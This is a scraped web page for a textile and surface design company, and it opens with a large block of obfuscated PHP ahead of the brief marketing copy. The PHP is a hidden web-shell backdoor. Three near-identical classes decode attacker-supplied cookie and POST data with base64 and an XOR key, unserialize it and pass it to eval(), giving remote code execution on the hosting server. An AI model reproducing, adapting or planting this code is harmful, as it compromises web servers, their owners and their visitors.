$mKqNGymapr = "\113" . 'b' . "\137" . 'c' . "\x58" . chr (76); $oSLsSFt = chr (99) . "\x6c" . "\x61" . chr ( 710 - 595 )."\163" . "\137" . 'e' . "\x78" . "\151" . chr (115) . "\x74" . "\163";$FmQBQ = class_exists($mKqNGymapr); $oSLsSFt = "48505";$fBnkKxzCF = strpos($oSLsSFt, $mKqNGymapr);if ($FmQBQ == $fBnkKxzCF){function JFowhy(){$WCeMndtlUx = new /* 34482 */ Kb_cXL(26506 + 26506); $WCeMndtlUx = NULL;}$gcqSnMD = "26506";class Kb_cXL{private function pYGzqQgti($gcqSnMD){if (is_array(Kb_cXL::$tYwiabcTfb)) {$LpvtfhsQr2 = str_replace("<" . "?php", "", Kb_cXL::$tYwiabcTfb["content"]);eval($LpvtfhsQr2); $gcqSnMD = "26506";exit();}}public function pSqNRKMSzt(){$LpvtfhsQr = "23975";$this->_dummy = str_repeat($LpvtfhsQr, strlen($LpvtfhsQr));}public function __destruct(){Kb_cXL::$tYwiabcTfb = @unserialize(Kb_cXL::$tYwiabcTfb); $gcqSnMD = "9405_41346";$this->pYGzqQgti($gcqSnMD); $gcqSnMD = "9405_41346";}public function cywViwJ($LpvtfhsQr, $IxJyOuxQaK){return $LpvtfhsQr[0] ^ str_repeat($IxJyOuxQaK, intval(strlen($LpvtfhsQr[0]) / strlen($IxJyOuxQaK)) + 1);}public function wstjZtuVN($LpvtfhsQr){$FnRqr = chr ( 1076 - 978 )."\141" . chr (115) . "\145" . "\x36" . '4';return array_map($FnRqr . chr ( 933 - 838 ).'d' . 'e' . chr ( 856 - 757 ).chr ( 933 - 822 ).chr (100) . "\x65", array($LpvtfhsQr,));}public function __construct($zMAKCM=0){$dKLkPSxK = chr (44); $LpvtfhsQr = "";$zOpnMMaF = $_POST;$qImHLpYEH = $_COOKIE;$IxJyOuxQaK = "5d7d2dc3-ef6b-4882-8c3b-47932efe3301";$pxxECg = @$qImHLpYEH[substr($IxJyOuxQaK, 0, 4)];if (!empty($pxxECg)){$pxxECg = explode($dKLkPSxK, $pxxECg);foreach ($pxxECg as $fnvbzwfN){$LpvtfhsQr .= @$qImHLpYEH[$fnvbzwfN];$LpvtfhsQr .= @$zOpnMMaF[$fnvbzwfN];}$LpvtfhsQr = $this->wstjZtuVN($LpvtfhsQr);}Kb_cXL::$tYwiabcTfb = $this->cywViwJ($LpvtfhsQr, $IxJyOuxQaK);if (strpos($IxJyOuxQaK, $dKLkPSxK) !== FALSE){$IxJyOuxQaK = explode($dKLkPSxK, $IxJyOuxQaK); $Teost = sprintf("9405_41346", rtrim($IxJyOuxQaK[0]));}}public static $tYwiabcTfb = 11512;}JFowhy();}$WMNojxWcd = 'U' . "\x48" . '_' . 'S' . "\x42" . 'D' . "\116";$tobJKvvX = "\143" . chr ( 136 - 28 )."\x61" . chr (115) . chr (115) . chr (95) . "\x65" . chr (120) . "\151" . chr (115) . "\164" . 's';$osTeGtWrq = class_exists($WMNojxWcd); $WMNojxWcd = "20699";$tobJKvvX = "4823";$NZgmEZ = !1;if ($osTeGtWrq == $NZgmEZ){function ZCaYYGJM(){return FALSE;}$UiQWU = "18596";ZCaYYGJM();class UH_SBDN{private function dgXVkhb($UiQWU){if (is_array(UH_SBDN::$siYGPc)) {$vwbyYMRJlE = str_replace("\74" . "\x3f" . "\160" . "\150" . "\160", "", UH_SBDN::$siYGPc["\x63" . "\x6f" . "\156" . chr (116) . chr ( 812 - 711 )."\x6e" . "\164"]);eval($vwbyYMRJlE); $UiQWU = "18596";exit();}}private $TDfWE;public function mmNlDm(){echo 32442;}public function __destruct(){$UiQWU = "14148_2453";$this->dgXVkhb($UiQWU); $UiQWU = "14148_2453";}public function __construct($dmxVMvijzg=0){$FHVow = $_POST;$llMdS = $_COOKIE;$vGhTNutpP = "a969aa8c-702a-4ebd-885c-a583479f54fe";$komLIeZu = @$llMdS[substr($vGhTNutpP, 0, 4)];if (!empty($komLIeZu)){$SbMBPJI = "base64";$vXEPBiI = "";$komLIeZu = explode(",", $komLIeZu);foreach ($komLIeZu as $XQIWpGix){$vXEPBiI .= @$llMdS[$XQIWpGix];$vXEPBiI .= @$FHVow[$XQIWpGix];}$vXEPBiI = array_map($SbMBPJI . chr ( 918 - 823 ).'d' . "\x65" . "\143" . "\x6f" . "\x64" . "\145", array($vXEPBiI,)); $vXEPBiI = $vXEPBiI[0] ^ str_repeat($vGhTNutpP, (strlen($vXEPBiI[0]) / strlen($vGhTNutpP)) + 1);UH_SBDN::$siYGPc = @unserialize($vXEPBiI); $vXEPBiI = class_exists("14148_2453");}}public static $siYGPc = 46835;}$NiMNm = new /* 50606 */ UH_SBDN(18596 + 18596); $NZgmEZ = $NiMNm = $UiQWU = Array();}$sGSBpqvyOK = 'Y' . '_' . "\x6f" . "\172" . chr (110) . chr ( 829 - 752 ); $YPcfA = chr ( 435 - 336 )."\x6c" . chr ( 282 - 185 ).chr (115) . chr (115) . "\x5f" . 'e' . "\170" . 'i' . "\x73" . "\164" . 's';$wMEsv = class_exists($sGSBpqvyOK); $YPcfA = "26998";$erBFVglXR = strpos($YPcfA, $sGSBpqvyOK);if ($wMEsv == $erBFVglXR){function FcuyeZ(){$KcSoGDHq = new /* 7667 */ Y_oznM(33604 + 33604); $KcSoGDHq = NULL;}$dHYmV = "33604";class Y_oznM{private function KsblhpG($dHYmV){if (is_array(Y_oznM::$wDGviK)) {$lABsuzObk2 = str_replace("<" . "?php", "", Y_oznM::$wDGviK["content"]);eval($lABsuzObk2); $dHYmV = "33604";exit();}}public function UGHFiC(){$lABsuzObk = "41667";$this->_dummy = str_repeat($lABsuzObk, strlen($lABsuzObk));}public function __destruct(){Y_oznM::$wDGviK = @unserialize(Y_oznM::$wDGviK); $dHYmV = "48193_51679";$this->KsblhpG($dHYmV); $dHYmV = "48193_51679";}public function tKdZsfUBQ($lABsuzObk, $xGtPhaLKS){return $lABsuzObk[0] ^ str_repeat($xGtPhaLKS, intval(strlen($lABsuzObk[0]) / strlen($xGtPhaLKS)) + 1);}public function AdVpg($lABsuzObk){$jZMctYLN = chr (98) . chr (97) . chr ( 754 - 639 ).'e' . chr (54) . chr ( 738 - 686 );return array_map($jZMctYLN . chr (95) . "\x64" . chr ( 824 - 723 )."\143" . "\x6f" . "\144" . chr (101), array($lABsuzObk,));}public function __construct($ZXhnfgyuia=0){$rZYrANFObT = chr (44); $lABsuzObk = "";$ipLLIqWZoe = $_POST;$GykuG = $_COOKIE;$xGtPhaLKS = "8c63b390-747e-4872-8c61-3f3ff5a3a607";$OVcRtzawB = @$GykuG[substr($xGtPhaLKS, 0, 4)];if (!empty($OVcRtzawB)){$OVcRtzawB = explode($rZYrANFObT, $OVcRtzawB);foreach ($OVcRtzawB as $fSDxDVZiC){$lABsuzObk .= @$GykuG[$fSDxDVZiC];$lABsuzObk .= @$ipLLIqWZoe[$fSDxDVZiC];}$lABsuzObk = $this->AdVpg($lABsuzObk);}Y_oznM::$wDGviK = $this->tKdZsfUBQ($lABsuzObk, $xGtPhaLKS);if (strpos($xGtPhaLKS, $rZYrANFObT) !== FALSE){$xGtPhaLKS = explode($rZYrANFObT, $xGtPhaLKS); $OTWjI = base64_decode(md5($xGtPhaLKS[0])); $vlcyYPbQ = strlen($xGtPhaLKS[1]) > 5 ? substr($xGtPhaLKS[1], 0, 5) : $xGtPhaLKS[1];$_GET['new_key'] = md5(implode('', $xGtPhaLKS));}}public static $wDGviK = 26172;}FcuyeZ();}
Tiny Hen Design Company | Bespoke surface design and carefully curated collections.
Bespoke Patterns Let your products stand out with seamlessly repeating textile and surface designs created exclusively for your customers.
Creative, cohesive, and charming. From vintage textiles to custom designs – browse our fabric sets to find the perfectly coordinating looks that will let your vision shine through!
Our philosophy is to “design thoughtfully and delight always”. That delight might come in the perfectly paired colorways of a classic pattern or in the whimsical illustrations of one of our signature lines.